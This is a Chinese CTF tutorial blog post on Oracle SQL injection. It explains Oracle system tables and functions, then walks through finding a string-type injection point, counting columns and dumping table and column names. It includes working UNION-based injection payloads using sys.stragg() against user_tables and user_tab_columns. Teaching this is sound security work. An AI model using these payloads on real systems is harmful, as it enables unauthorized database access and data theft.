CTF-Web:Oracle SQL 注入
相关的函数和表#
Oracle 的 SQL 注入和 MySQL 是一样的,不同在于数据库信息所在的表和一些函数不一样。
内置函数#
函数 | 功能 |
---|---|
lenth() | 返回字符串的长度 |
count() | 返回在给定的选择中被选的行数 |
ascii() | 表示将字符转换为 ASCII 码 |
substr() | 返回值为源字符串中指定起始位置和长度的字符串 |
chr() | 表示将 ASCII 码转换为字符 |
内置数据表#
Oracle 查询需要带上表名,如“select * from xxx”。Oracle 有一个万能的表——dual 表,Oracle 保证 dual 里面永远只有一条记录。
内置数据表 | 说明 |
---|---|
dual 表 | 是一个虚拟的表,用来构成 select 的语法规则 |
user tables 表 | 该表的 table_name 列存放着当前数据库的所有表 |
user tab columns 表 | 该表的 column_name 存放着表的所有列 |
单行子查询返回多行需使用 where rownum = 1 来规范,Oracle 数据库从数据文件或缓冲区中读取数据的顺序。
内置语句#
获取数据#
获取所有用户名:
SQL> select username from all_users;
获取数据库版本:
SQL> select banner from sys.v_$version;
获取当前登录的用户:
SQL> select user from dual;
字符串拼接#
使用 || 来进行字符串的拼接,当 || 使用失败时,可以使用 || 的 URL 编码 %7C%7C,下面的 sql 语句可以拼接出字符串“admin”。
SQL> select 'a'||'d'||'m'||'i'||'n'from dual;
下面的 sql 语句同理。
SQL> select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) from dual;
使用 sys.stragg() 函数来在单行中获取所有行信息:
SQL> select username from all_users;
下面的语句也能使多行结果以一行显示,并用(--'隔开)
SQL> select sys.stragg(username||'--')from all_users;
Oracle 注入样例#
判断注入类型#
首先判断注入点,suser 和 sname 都可能可以注入。
使用单引号闭合,网页返回报错信息。
构造恒真条件,数据库返回正常的数据,说明此处存在单引号闭合的字符型注入。
判断列数#
判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。
判断哪些列是我们能用的,令参数的查询不到结果,然后使用 UNION 进行组合查询。
获取数据库信息#
接下来开始爆表名,在 user_tables 进行查询,使用 sys.stragg() 函数合并查询结果。
' union select (select sys.stragg(table_name) from user_tables),null,null from dual --
接下来爆 cms_users 表的字段,在 user_tab_columns 爆出来,注意使用 sys.stragg() 函数时“||”要转码一下。
' union select (select sys.stragg(column_name%7c%7c'--') from user_tab_columns where table_name='T_USER'),null,null from dual --
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
2021-01-15 PTA 题解:jmu-Java&Python-统计文字中的单词数量并按出现次数排序